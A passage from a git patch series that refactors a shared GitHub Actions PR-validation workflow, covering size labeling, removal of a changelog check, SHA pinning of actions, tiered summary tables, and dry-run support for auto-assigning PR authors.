comments on large PRs." +description: "Calculates PR size and adds a size label." inputs: github-token: @@ -9,7 +9,7 @@ inputs: description: Base branch for diff comparison required: true dry-run: - description: "When true, calculate size without adding labels or comments" + description: "When true, calculate size without adding labels" required: false default: "false" @@ -24,7 +24,6 @@ outputs: runs: using: composite steps: - # ----------------- Calculate ----------------- - name: Calculate PR size id: size shell: bash @@ -34,7 +33,7 @@ runs: CHANGED_LINES=$(git diff --shortstat "origin/${BASE_REF}...HEAD" | \ awk '{print $4+$6}') CHANGED_LINES=${CHANGED_LINES:-0} - echo "changed_lines=$CHANGED_LINES" >> "$GITHUB_OUTPUT" + echo "changed_lines=${CHANGED_LINES}" >> "$GITHUB_OUTPUT" if [ "$CHANGED_LINES" -lt 50 ]; then SIZE="XS" @@ -47,10 +46,9 @@ runs: else SIZE="XL" fi - echo "size=$SIZE" >> "$GITHUB_OUTPUT" - echo "::notice::PR size: $SIZE ($CHANGED_LINES lines changed)" + echo "size=${SIZE}" >> "$GITHUB_OUTPUT" + echo "::notice::PR size: ${SIZE} (${CHANGED_LINES} lines changed)" - # ----------------- Label ----------------- - name: Add size label if: inputs.dry-run != 'true' uses: actions/github-script@v8 @@ -60,41 +58,34 @@ runs: github-token: ${{ inputs.github-token }} script: | const size = process.env.PR_SIZE; - const labels = ['size/XS', 'size/S', 'size/M', 'size/L', 'size/XL']; + const targetLabel = `size/${size}`; + const allSizeLabels = ['size/XS', 'size/S', 'size/M', 'size/L', 'size/XL']; + const currentLabels = context.payload.pull_request.labels.map(l => l.name); - for (const label of labels) { - try { + // Skip if already has the correct label + if (currentLabels.includes(targetLabel)) { + console.log(`✅ Label '${targetLabel}' already set — no change needed`); + return; + } + + // Remove stale size labels + for (const label of allSizeLabels) { + if (currentLabels.includes(label)) { + console.log(`Removing stale label '${label}'`); await github.rest.issues.removeLabel({ owner: context.repo.owner, repo: context.repo.repo, issue_number: context.issue.number, name: label }); - } catch (error) { - // Label doesn't exist, ignore } } + // Add correct label + console.log(`Adding label '${targetLabel}'`); await github.rest.issues.addLabels({ owner: context.repo.owner, repo: context.repo.repo, issue_number: context.issue.number, - labels: [`size/${size}`] - }); - - # ----------------- Comment on XL ----------------- - - name: Comment on large PR - if: steps.size.outputs.size == 'XL' && inputs.dry-run != 'true' - uses: actions/github-script@v8 - env: - CHANGED_LINES: ${{ steps.size.outputs.changed_lines }} - with: - github-token: ${{ inputs.github-token }} - script: | - const changedLines = process.env.CHANGED_LINES; - await github.rest.issues.createComment({ - owner: context.repo.owner, - repo: context.repo.repo, - issue_number: context.issue.number, - body: `This PR is very large (${context.payload.pull_request.changed_files} files, ${changedLines} lines changed). Consider breaking it into smaller PRs for easier review.` + labels: [targetLabel] }); From 2a4a5414d18f6a5dd84fc5d335151b9694b96d89 Mon Sep 17 00:00:00 2001 From: Lucas Bedatty Date: Wed, 25 Mar 2026 17:01:00 -0300 Subject: [PATCH 15/21] fix(pr-labels): pin actions/labeler to commit SHA --- src/validate/pr-labels/action.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/validate/pr-labels/action.yml b/src/validate/pr-labels/action.yml index 0bb87953..9a649e31 100644 --- a/src/validate/pr-labels/action.yml +++ b/src/validate/pr-labels/action.yml @@ -14,7 +14,7 @@ runs: using: composite steps: - name: Auto-label based on files - uses: actions/labeler@v6 + uses: actions/labeler@634933edcd8ababfe52f92936142cc22ac488b1b # v6 with: repo-token: ${{ inputs.github-token }} configuration-path: ${{ inputs.config-path }} From 8d11a5752f0afdaec0e112b00aa933edd890057a Mon Sep 17 00:00:00 2001 From: Lucas Bedatty Date: Wed, 25 Mar 2026 17:06:30 -0300 Subject: [PATCH 16/21] refactor(pr-validation): remove changelog check and pin all actions by SHA MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Remove pr-changelog from workflow, summary, and inputs — CHANGELOG.md is auto-generated by semantic-release - Pin actions/github-script@v8 and actions/checkout@v6 to commit SHAs across all validate composites --- .github/workflows/pr-validation.yml | 17 +---------------- docs/pr-validation.md | 10 +--------- src/validate/pr-checks-summary/action.yml | 6 ------ src/validate/pr-description/action.yml | 2 +- src/validate/pr-metadata/action.yml | 2 +- src/validate/pr-size/action.yml | 2 +- src/validate/pr-source-branch/action.yml | 2 +- 7 files changed, 6 insertions(+), 35 deletions(-) diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index bce48f78..e9104ff8 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -45,10 +45,6 @@ on: description: 'Minimum PR description length' type: number default: 50 - check_changelog: - description: 'Check if CHANGELOG.md is updated' - type: boolean - default: true enable_auto_labeler: description: 'Enable automatic labeling based on changed files' type: boolean @@ -155,11 +151,10 @@ jobs: metadata-result: ${{ steps.collect.outputs.metadata }} size-result: ${{ steps.collect.outputs.size }} label-result: ${{ steps.collect.outputs.label }} - changelog-result: ${{ steps.collect.outputs.changelog }} steps: - name: Checkout code - uses: actions/checkout@v6 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6 with: fetch-depth: 0 @@ -188,14 +183,6 @@ jobs: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} config-path: ${{ inputs.labeler_config_path }} - - name: Check changelog - id: changelog - if: inputs.check_changelog - continue-on-error: true - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-changelog@refactor/modularize-pr-validation - with: - base-ref: ${{ github.base_ref }} - - name: Collect results id: collect run: | @@ -203,7 +190,6 @@ jobs: echo "metadata=${{ steps.metadata.outcome }}" echo "size=${{ steps.size.outcome }}" echo "label=${{ steps.labels.outcome || 'skipped' }}" - echo "changelog=${{ steps.changelog.outcome || 'skipped' }}" } >> "$GITHUB_OUTPUT" # ----------------- PR Checks Summary ----------------- @@ -223,7 +209,6 @@ jobs: size-result: ${{ needs.advisory-checks.outputs.size-result || 'skipped' }} label-result: ${{ needs.advisory-checks.outputs.label-result || 'skipped' }} metadata-result: ${{ needs.advisory-checks.outputs.metadata-result || 'skipped' }} - changelog-result: ${{ needs.advisory-checks.outputs.changelog-result || 'skipped' }} dry-run: ${{ inputs.dry_run && 'true' || 'false' }} # ----------------- Slack Notification ----------------- diff --git a/docs/pr-validation.md b/docs/pr-validation.md index 7b9fa359..3bdb6307 100644 --- a/docs/pr-validation.md +++ b/docs/pr-validation.md @@ -14,7 +14,6 @@ Comprehensive pull request validation workflow that enforces best practices, cod - **Description quality** — Minimum length and required sections - **Auto-labeling** — Based on changed files - **Metadata checks** — Warns if no assignee or linked issues -- **Changelog tracking** — Detects if CHANGELOG.md was modified - **Draft PR support** — Skips validations for draft PRs - **Source branch validation** — Enforce PRs to protected branches come from specific source branches - **Dry run mode** — Preview validations without posting comments or labels @@ -35,8 +34,7 @@ pr-validation.yml (reusable workflow) Tier 2 — advisory-checks (shared checkout) ├── src/validate/pr-metadata (assignee + linked issues) ├── src/validate/pr-size (size calculation + labeling) - ├── src/validate/pr-labels (auto-label by files) - └── src/validate/pr-changelog (changelog check) + └── src/validate/pr-labels (auto-label by files) ↓ Summary — pr-checks-summary (always runs) ↓ @@ -123,7 +121,6 @@ jobs: | `pr_title_scopes` | string | `''` | Allowed scopes (newline-separated, empty = any) | | `require_scope` | boolean | `false` | Require scope in PR title | | `min_description_length` | number | `50` | Minimum PR description length | -| `check_changelog` | boolean | `true` | Check if CHANGELOG.md is updated | | `enable_auto_labeler` | boolean | `true` | Enable automatic labeling | | `labeler_config_path` | string | `.github/labeler.yml` | Path to labeler config | | `enforce_source_branches` | boolean | `true` | Enforce source branch rules (auto-skips when target is not in `target_branches_for_source_check`) | @@ -167,7 +164,6 @@ feat fix docs style refactor perf test chore ci build revert When `dry_run: true`: - Title, description, and metadata validations still run (read-only checks) - Size is calculated and logged but **labels are not applied** -- Changelog is checked (informational only, no comments) - Source branch is validated but **REQUEST_CHANGES review is not posted** - Auto-labeling is **skipped entirely** - Slack notification is **skipped** @@ -197,10 +193,6 @@ When a PR is in draft mode, all validation jobs are skipped. Checks run automati - `fix(api): resolve timeout issue` - `docs: update installation guide` -## Changelog Checking - -The changelog check detects whether `CHANGELOG.md` was modified in the PR diff. It is informational only — no comments are posted. CHANGELOG.md is auto-generated by semantic-release. - ## Related Workflows - [Go CI](./go-ci-workflow.md) — Continuous integration testing diff --git a/src/validate/pr-checks-summary/action.yml b/src/validate/pr-checks-summary/action.yml index f23c8bec..a3e32e67 100644 --- a/src/validate/pr-checks-summary/action.yml +++ b/src/validate/pr-checks-summary/action.yml @@ -26,10 +26,6 @@ inputs: description: Result of PR metadata check required: false default: skipped - changelog-result: - description: Result of changelog check - required: false - default: skipped dry-run: description: Whether this is a dry run required: false @@ -47,7 +43,6 @@ runs: DESCRIPTION_RESULT: ${{ inputs.description-result }} LABEL_RESULT: ${{ inputs.label-result }} METADATA_RESULT: ${{ inputs.metadata-result }} - CHANGELOG_RESULT: ${{ inputs.changelog-result }} DRY_RUN: ${{ inputs.dry-run }} run: | icon() { @@ -71,5 +66,4 @@ runs: echo "$(icon "$DESCRIPTION_RESULT") PR Description: $DESCRIPTION_RESULT" echo "$(icon "$LABEL_RESULT") Auto-label: $LABEL_RESULT" echo "$(icon "$METADATA_RESULT") Metadata: $METADATA_RESULT" - echo "$(icon "$CHANGELOG_RESULT") Changelog: $CHANGELOG_RESULT" } >> "$GITHUB_STEP_SUMMARY" diff --git a/src/validate/pr-description/action.yml b/src/validate/pr-description/action.yml index af44921e..0ff9d84c 100644 --- a/src/validate/pr-description/action.yml +++ b/src/validate/pr-description/action.yml @@ -11,7 +11,7 @@ runs: using: composite steps: - name: Validate PR description - uses: actions/github-script@v8 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 env: MIN_LENGTH: ${{ inputs.min-length }} with: diff --git a/src/validate/pr-metadata/action.yml b/src/validate/pr-metadata/action.yml index d37d73fb..5bd7b02f 100644 --- a/src/validate/pr-metadata/action.yml +++ b/src/validate/pr-metadata/action.yml @@ -10,7 +10,7 @@ runs: using: composite steps: - name: Auto-assign PR author - uses: actions/github-script@v8 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 with: github-token: ${{ inputs.github-token }} script: | diff --git a/src/validate/pr-size/action.yml b/src/validate/pr-size/action.yml index 7355f1a5..744e84f7 100644 --- a/src/validate/pr-size/action.yml +++ b/src/validate/pr-size/action.yml @@ -51,7 +51,7 @@ runs: - name: Add size label if: inputs.dry-run != 'true' - uses: actions/github-script@v8 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 env: PR_SIZE: ${{ steps.size.outputs.size }} with: diff --git a/src/validate/pr-source-branch/action.yml b/src/validate/pr-source-branch/action.yml index 26b25070..4c72ee2d 100644 --- a/src/validate/pr-source-branch/action.yml +++ b/src/validate/pr-source-branch/action.yml @@ -22,7 +22,7 @@ runs: using: composite steps: - name: Validate source branch - uses: actions/github-script@v8 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 env: ALLOWED_BRANCHES: ${{ inputs.allowed-branches }} TARGET_BRANCHES: ${{ inputs.target-branches }} From c15e1db4b093a368cd8a3bc3c40379134336057a Mon Sep 17 00:00:00 2001 From: Lucas Bedatty Date: Wed, 25 Mar 2026 17:09:53 -0300 Subject: [PATCH 17/21] fix(pr-checks-summary): use markdown tables grouped by tier MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Display results as two tables (Blocking / Advisory) instead of flat lines. Skipped checks now use ⏭️ instead of ⚠️ for clarity. --- src/validate/pr-checks-summary/action.yml | 25 +++++++++++++++-------- 1 file changed, 17 insertions(+), 8 deletions(-) diff --git a/src/validate/pr-checks-summary/action.yml b/src/validate/pr-checks-summary/action.yml index a3e32e67..f8881f8e 100644 --- a/src/validate/pr-checks-summary/action.yml +++ b/src/validate/pr-checks-summary/action.yml @@ -1,5 +1,5 @@ name: PR Checks Summary -description: "Generates a summary table of all PR validation check results." +description: "Generates a summary table of all PR validation check results, grouped by tier." inputs: source-branch-result: @@ -49,7 +49,7 @@ runs: case "$1" in success) echo "✅" ;; failure) echo "❌" ;; - *) echo "⚠️" ;; + *) echo "⏭️" ;; esac } @@ -60,10 +60,19 @@ runs: echo "> **DRY RUN** — no comments, labels, or reviews were posted" echo "" fi - echo "$(icon "$SOURCE_BRANCH_RESULT") Source Branch: $SOURCE_BRANCH_RESULT" - echo "$(icon "$TITLE_RESULT") PR Title: $TITLE_RESULT" - echo "$(icon "$SIZE_RESULT") PR Size: $SIZE_RESULT" - echo "$(icon "$DESCRIPTION_RESULT") PR Description: $DESCRIPTION_RESULT" - echo "$(icon "$LABEL_RESULT") Auto-label: $LABEL_RESULT" - echo "$(icon "$METADATA_RESULT") Metadata: $METADATA_RESULT" + echo "### Blocking" + echo "" + echo "| Check | Result |" + echo "|-------|--------|" + echo "| Source Branch | $(icon "$SOURCE_BRANCH_RESULT") ${SOURCE_BRANCH_RESULT} |" + echo "| PR Title | $(icon "$TITLE_RESULT") ${TITLE_RESULT} |" + echo "| PR Description | $(icon "$DESCRIPTION_RESULT") ${DESCRIPTION_RESULT} |" + echo "" + echo "### Advisory" + echo "" + echo "| Check | Result |" + echo "|-------|--------|" + echo "| PR Size | $(icon "$SIZE_RESULT") ${SIZE_RESULT} |" + echo "| Auto-label | $(icon "$LABEL_RESULT") ${LABEL_RESULT} |" + echo "| Metadata | $(icon "$METADATA_RESULT") ${METADATA_RESULT} |" } >> "$GITHUB_STEP_SUMMARY" From 4a8e86674fcb67cbb189335196983d98b0b1d92a Mon Sep 17 00:00:00 2001 From: Lucas Bedatty Date: Wed, 25 Mar 2026 17:32:47 -0300 Subject: [PATCH 18/21] fix(pr-validation): address CodeRabbit review findings - Remove stale check_changelog references from docs and examples - Remove pr-changelog from jobs table and pr-checks-summary README - Fix related-workflow links to current doc naming - Make missing "Type of Change" section an error, not a warning - Add null-safety for pr.assignees in pr-metadata - Add dry-run gate to pr-metadata auto-assign - Fix yamllint inline-comment spacing in pr-labels --- .github/workflows/pr-validation.yml | 1 + docs/pr-validation.md | 9 ++++----- src/validate/pr-checks-summary/README.md | 20 +++++++++----------- src/validate/pr-description/action.yml | 2 +- src/validate/pr-labels/action.yml | 2 +- src/validate/pr-metadata/action.yml | 14 +++++++++++++- 6 files changed, 29 insertions(+), 19 deletions(-) diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index e9104ff8..49dc6df9 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -164,6 +164,7 @@ jobs: uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-metadata@refactor/modularize-pr-validation with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} + dry-run: ${{ inputs.dry_run && 'true' || 'false' }} - name: Check PR size id: size diff --git a/docs/pr-validation.md b/docs/pr-validation.md index 3bdb6307..ff7a0f16 100644 --- a/docs/pr-validation.md +++ b/docs/pr-validation.md @@ -82,7 +82,6 @@ jobs: chore require_scope: true min_description_length: 100 - check_changelog: true enable_auto_labeler: true secrets: inherit ``` @@ -145,7 +144,7 @@ feat fix docs style refactor perf test chore ci build revert | Job | Tier | Composites | Condition | |-----|------|------------|-----------| | `blocking-checks` | 1 (fail-fast) | `pr-source-branch`, `pr-title`, `pr-description` | non-draft | -| `advisory-checks` | 2 (informational) | `pr-metadata`, `pr-size`, `pr-labels`, `pr-changelog` | non-draft, blocking-checks passed | +| `advisory-checks` | 2 (informational) | `pr-metadata`, `pr-size`, `pr-labels` | non-draft, blocking-checks passed | | `pr-checks-summary` | — | `pr-checks-summary` | always | | `notify` | — | `slack-notify.yml` | non-draft, `!dry_run` | @@ -195,9 +194,9 @@ When a PR is in draft mode, all validation jobs are skipped. Checks run automati ## Related Workflows -- [Go CI](./go-ci-workflow.md) — Continuous integration testing -- [Go Security](./go-security-workflow.md) — Security scanning -- [PR Security Scan](./pr-security-scan-workflow.md) — Security scanning for PRs +- [Go CI](./go-ci.md) — Continuous integration testing +- [Go Security](./go-security.md) — Security scanning +- [PR Security Scan](./pr-security-scan.md) — Security scanning for PRs --- diff --git a/src/validate/pr-checks-summary/README.md b/src/validate/pr-checks-summary/README.md index 7da84ea7..3a02eabb 100644 --- a/src/validate/pr-checks-summary/README.md +++ b/src/validate/pr-checks-summary/README.md @@ -5,7 +5,7 @@ -Generates a summary table of all PR validation check results in the GitHub Actions job summary. +Generates a summary table of all PR validation check results in the GitHub Actions job summary, grouped by tier (Blocking / Advisory). ## Inputs @@ -13,11 +13,10 @@ Generates a summary table of all PR validation check results in the GitHub Actio |-------|-------------|----------|---------| | `source-branch-result` | Result of source branch validation | No | `skipped` | | `title-result` | Result of PR title validation | No | `skipped` | -| `size-result` | Result of PR size check | No | `skipped` | | `description-result` | Result of PR description check | No | `skipped` | +| `size-result` | Result of PR size check | No | `skipped` | | `label-result` | Result of auto-label step | No | `skipped` | | `metadata-result` | Result of PR metadata check | No | `skipped` | -| `changelog-result` | Result of changelog check | No | `skipped` | | `dry-run` | Whether this is a dry run | No | `false` | ## Usage as composite step @@ -26,19 +25,18 @@ Generates a summary table of all PR validation check results in the GitHub Actio jobs: pr-checks-summary: runs-on: blacksmith-4vcpu-ubuntu-2404 - needs: [pr-source-branch, pr-title, pr-size, pr-description, pr-labels, pr-metadata, pr-changelog] + needs: [blocking-checks, advisory-checks] if: always() steps: - name: PR Checks Summary uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-checks-summary@v1.x.x with: - source-branch-result: ${{ needs.pr-source-branch.result }} - title-result: ${{ needs.pr-title.result }} - size-result: ${{ needs.pr-size.result }} - description-result: ${{ needs.pr-description.result }} - label-result: ${{ needs.pr-labels.result }} - metadata-result: ${{ needs.pr-metadata.result }} - changelog-result: ${{ needs.pr-changelog.result }} + source-branch-result: ${{ needs.blocking-checks.outputs.source-branch-result || 'skipped' }} + title-result: ${{ needs.blocking-checks.outputs.title-result || 'skipped' }} + description-result: ${{ needs.blocking-checks.outputs.description-result || 'skipped' }} + size-result: ${{ needs.advisory-checks.outputs.size-result || 'skipped' }} + label-result: ${{ needs.advisory-checks.outputs.label-result || 'skipped' }} + metadata-result: ${{ needs.advisory-checks.outputs.metadata-result || 'skipped' }} dry-run: "true" ``` diff --git a/src/validate/pr-description/action.yml b/src/validate/pr-description/action.yml index 0ff9d84c..dd33a102 100644 --- a/src/validate/pr-description/action.yml +++ b/src/validate/pr-description/action.yml @@ -43,7 +43,7 @@ runs: errors.push('No "Type of Change" checkbox is checked. Please mark at least one.'); } } else { - warnings.push('Missing "Type of Change" section.'); + errors.push('Missing "Type of Change" section. Please use the PR template.'); } // --- Report --- diff --git a/src/validate/pr-labels/action.yml b/src/validate/pr-labels/action.yml index 9a649e31..ed800f42 100644 --- a/src/validate/pr-labels/action.yml +++ b/src/validate/pr-labels/action.yml @@ -14,7 +14,7 @@ runs: using: composite steps: - name: Auto-label based on files - uses: actions/labeler@634933edcd8ababfe52f92936142cc22ac488b1b # v6 + uses: actions/labeler@634933edcd8ababfe52f92936142cc22ac488b1b # v6 with: repo-token: ${{ inputs.github-token }} configuration-path: ${{ inputs.config-path }} diff --git a/src/validate/pr-metadata/action.yml b/src/validate/pr-metadata/action.yml index 5bd7b02f..1ae9f36e 100644 --- a/src/validate/pr-metadata/action.yml +++ b/src/validate/pr-metadata/action.yml @@ -5,18 +5,25 @@ inputs: github-token: description: GitHub token with pull-requests write permission required: true + dry-run: + description: "When true, log what would happen without making changes" + required: false + default: "false" runs: using: composite steps: - name: Auto-assign PR author uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8 + env: + DRY_RUN: ${{ inputs.dry-run }} with: github-token: ${{ inputs.github-token }} script: | const pr = context.payload.pull_request; + const dryRun = process.env.DRY_RUN === 'true'; - if (pr.assignees.length > 0) { + if (pr.assignees?.length > 0) { console.log(`PR already has assignees: ${pr.assignees.map(a => a.login).join(', ')}`); return; } @@ -29,6 +36,11 @@ runs: return; } + if (dryRun) { + core.notice(`DRY RUN — would auto-assign '${author}' to the PR`); + return; + } + console.log(`No assignees found. Auto-assigning author '${author}'`); await github.rest.issues.addAssignees({ owner: context.repo.owner, From 865936d5184e28047098e66a5a951c1338633289 Mon Sep 17 00:00:00 2001 From: Lucas Bedatty Date: Wed, 25 Mar 2026 17:58:56 -0300 Subject: [PATCH 19/21] fix(pr-validation): sync defaults, fix caller, update docs - Align min_description_length default to 30 (matches composite) - Remove stale check_changelog from self-pr-validation.yml - Update metadata feature description in docs - Validate min-length input against NaN in pr-description --- .github/workflows/pr-validation.yml | 4 ++-- .github/workflows/self-pr-validation.yml | 1 - docs/pr-validation.md | 2 +- src/validate/pr-description/action.yml | 4 ++++ 4 files changed, 7 insertions(+), 4 deletions(-) diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index 49dc6df9..3d235c57 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -42,9 +42,9 @@ on: type: boolean default: false min_description_length: - description: 'Minimum PR description length' + description: 'Minimum PR description content length (after stripping template boilerplate)' type: number - default: 50 + default: 30 enable_auto_labeler: description: 'Enable automatic labeling based on changed files' type: boolean diff --git a/.github/workflows/self-pr-validation.yml b/.github/workflows/self-pr-validation.yml index f7ff2e48..f7d0759b 100644 --- a/.github/workflows/self-pr-validation.yml +++ b/.github/workflows/self-pr-validation.yml @@ -26,7 +26,6 @@ jobs: checks: read uses: ./.github/workflows/pr-validation.yml with: - check_changelog: false enforce_source_branches: true allowed_source_branches: "develop|hotfix/*" target_branches_for_source_check: "main" diff --git a/docs/pr-validation.md b/docs/pr-validation.md index ff7a0f16..ad8ea474 100644 --- a/docs/pr-validation.md +++ b/docs/pr-validation.md @@ -13,7 +13,7 @@ Comprehensive pull request validation workflow that enforces best practices, cod - **PR size tracking** — Automatic labeling (XS, S, M, L, XL) - **Description quality** — Minimum length and required sections - **Auto-labeling** — Based on changed files -- **Metadata checks** — Warns if no assignee or linked issues +- **Auto-assign** — Assigns PR author when no assignee is set (skips bots) - **Draft PR support** — Skips validations for draft PRs - **Source branch validation** — Enforce PRs to protected branches come from specific source branches - **Dry run mode** — Preview validations without posting comments or labels diff --git a/src/validate/pr-description/action.yml b/src/validate/pr-description/action.yml index dd33a102..899e9ad5 100644 --- a/src/validate/pr-description/action.yml +++ b/src/validate/pr-description/action.yml @@ -18,6 +18,10 @@ runs: script: | const body = context.payload.pull_request.body || ''; const minLength = parseInt(process.env.MIN_LENGTH, 10); + if (isNaN(minLength) || minLength <= 0) { + core.setFailed(`Invalid min-length input: '${process.env.MIN_LENGTH}'`); + return; + } const errors = []; const warnings = []; From 606c88ab1c82fd36869ee6fd07f9ff20844b1f04 Mon Sep 17 00:00:00 2001 From: Lucas Bedatty Date: Wed, 25 Mar 2026 18:07:24 -0300 Subject: [PATCH 20/21] fix(pr-validation): pin composite refs to v1.19.1-beta.2 --- .github/workflows/pr-validation.yml | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index 3d235c57..b1604fd8 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -93,7 +93,7 @@ jobs: id: source-branch if: inputs.enforce_source_branches continue-on-error: true - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-source-branch@refactor/modularize-pr-validation + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-source-branch@v1.19.1-beta.2 with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} allowed-branches: ${{ inputs.allowed_source_branches }} @@ -103,7 +103,7 @@ jobs: - name: Validate PR title id: title continue-on-error: true - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-title@refactor/modularize-pr-validation + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-title@v1.19.1-beta.2 with: github-token: ${{ github.token }} types: ${{ inputs.pr_title_types }} @@ -113,7 +113,7 @@ jobs: - name: Validate PR description id: description continue-on-error: true - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-description@refactor/modularize-pr-validation + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-description@v1.19.1-beta.2 with: min-length: ${{ inputs.min_description_length }} @@ -161,7 +161,7 @@ jobs: - name: Check PR metadata id: metadata continue-on-error: true - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-metadata@refactor/modularize-pr-validation + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-metadata@v1.19.1-beta.2 with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} dry-run: ${{ inputs.dry_run && 'true' || 'false' }} @@ -169,7 +169,7 @@ jobs: - name: Check PR size id: size continue-on-error: true - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-size@refactor/modularize-pr-validation + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-size@v1.19.1-beta.2 with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} base-ref: ${{ github.base_ref }} @@ -179,7 +179,7 @@ jobs: id: labels if: inputs.enable_auto_labeler && !inputs.dry_run continue-on-error: true - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-labels@refactor/modularize-pr-validation + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-labels@v1.19.1-beta.2 with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} config-path: ${{ inputs.labeler_config_path }} @@ -202,7 +202,7 @@ jobs: steps: - name: PR Checks Summary - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-checks-summary@refactor/modularize-pr-validation + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-checks-summary@v1.19.1-beta.2 with: source-branch-result: ${{ needs.blocking-checks.outputs.source-branch-result || 'skipped' }} title-result: ${{ needs.blocking-checks.outputs.title-result || 'skipped' }} @@ -217,7 +217,7 @@ jobs: name: Notify needs: [blocking-checks, advisory-checks, pr-checks-summary] if: always() && github.event.pull_request.draft != true && !inputs.dry_run - uses: LerianStudio/github-actions-shared-workflows/.github/workflows/slack-notify.yml@refactor/modularize-pr-validation + uses: LerianStudio/github-actions-shared-workflows/.github/workflows/slack-notify.yml@v1.19.1-beta.2 with: status: ${{ (needs.blocking-checks.outputs.source-branch-result == 'failure' || needs.blocking-checks.outputs.title-result == 'failure' || needs.blocking-checks.outputs.description-result == 'failure') && 'failure' || 'success' }} workflow_name: "PR Validation" From bd3661f8d4d40f6ce89966fb5955c64eac62262d Mon Sep 17 00:00:00 2001 From: Bedatty <79675696+bedatty@users.noreply.github.com> Date: Wed, 25 Mar 2026 19:11:19 -0300 Subject: [PATCH 21/21] fix(lint): enforce SHA pinning for externals, warnings for internals fix(lint): enforce SHA pinning for externals, warnings for internals --- .github/workflows/pr-validation.yml | 16 ++--- src/lint/pinned-actions/action.yml | 22 +++---- src/notify/pr-lint-reporter/action.yml | 88 ++++++++++++++++++------- src/security/codeql-config/action.yml | 4 ++ src/security/codeql-reporter/action.yml | 8 ++- 5 files changed, 92 insertions(+), 46 deletions(-) diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index b1604fd8..bb7c28b8 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -93,7 +93,7 @@ jobs: id: source-branch if: inputs.enforce_source_branches continue-on-error: true - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-source-branch@v1.19.1-beta.2 + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-source-branch@v1.20.0-beta.1 with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} allowed-branches: ${{ inputs.allowed_source_branches }} @@ -103,7 +103,7 @@ jobs: - name: Validate PR title id: title continue-on-error: true - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-title@v1.19.1-beta.2 + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-title@v1.20.0-beta.1 with: github-token: ${{ github.token }} types: ${{ inputs.pr_title_types }} @@ -113,7 +113,7 @@ jobs: - name: Validate PR description id: description continue-on-error: true - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-description@v1.19.1-beta.2 + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-description@v1.20.0-beta.1 with: min-length: ${{ inputs.min_description_length }} @@ -161,7 +161,7 @@ jobs: - name: Check PR metadata id: metadata continue-on-error: true - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-metadata@v1.19.1-beta.2 + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-metadata@v1.20.0-beta.1 with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} dry-run: ${{ inputs.dry_run && 'true' || 'false' }} @@ -169,7 +169,7 @@ jobs: - name: Check PR size id: size continue-on-error: true - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-size@v1.19.1-beta.2 + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-size@v1.20.0-beta.1 with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} base-ref: ${{ github.base_ref }} @@ -179,7 +179,7 @@ jobs: id: labels if: inputs.enable_auto_labeler && !inputs.dry_run continue-on-error: true - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-labels@v1.19.1-beta.2 + uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-labels@v1.20.0-beta.1 with: github-token: ${{ secrets.MANAGE_TOKEN || github.token }} config-path: ${{ inputs.labeler_config_path }} @@ -202,7 +202,7 @@ jobs: steps: - name: PR Checks Summary - uses: LerianStudio/github-actions-shared-workflows/src/validate/pr-checks-summary@v1.19.1-beta.2 + uses: 